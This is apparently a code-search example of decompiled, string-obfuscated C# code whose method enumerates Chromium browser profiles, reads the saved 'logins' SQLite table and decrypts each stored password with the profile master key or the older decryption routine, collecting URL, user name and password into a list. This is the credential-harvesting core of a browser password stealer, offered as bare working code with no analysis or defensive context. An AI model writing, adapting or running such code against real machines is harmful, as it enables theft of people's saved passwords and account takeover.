Example #1
0
        // Token: 0x0600026E RID: 622 RVA: 0x00013B44 File Offset: 0x00011D44
        private static List <Account> Accounts(string path, string browser, string table = "logins")
        {
            List <string>  allProfiles = Chrom.GetAllProfiles(path);
            List <Account> list        = new List <Account>();

            foreach (string text in allProfiles.ToArray())
            {
                if (File.Exists(text))
                {
                    SQLiteHandler sqliteHandler;
                    try
                    {
                        sqliteHandler = new SQLiteHandler(text);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        goto IL_199;
                    }
                    if (sqliteHandler.ReadTable(table))
                    {
                        for (int j = 0; j <= sqliteHandler.GetRowCount() - 1; j++)
                        {
                            try
                            {
                                string value  = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394940));
                                string value2 = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394891));
                                string text2  = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394902));
                                if (text2 != null)
                                {
                                    if (text2.StartsWith(ChromV265450.Strings.Get(107394849)) || text2.StartsWith(ChromV265450.Strings.Get(107394876)))
                                    {
                                        byte[] masterKey = Chrom.GetMasterKey(Directory.GetParent(text).Parent.FullName);
                                        if (masterKey == null)
                                        {
                                            goto IL_183;
                                        }
                                        text2 = Chrom.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
                                    }
                                    else
                                    {
                                        text2 = Chrom.Decrypt(text2);
                                    }
                                    if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2))
                                    {
                                        list.Add(new Account
                                        {
                                            URL         = value,
                                            UserName    = value2,
                                            Password    = text2,
                                            Application = browser
                                        });
                                    }
                                }
                            }
                            catch (Exception ex2)
                            {
                                Console.WriteLine(ex2.ToString());
                            }
                            IL_183 :;
                        }
                    }
                }
                IL_199 :;
            }
            return(list);
        }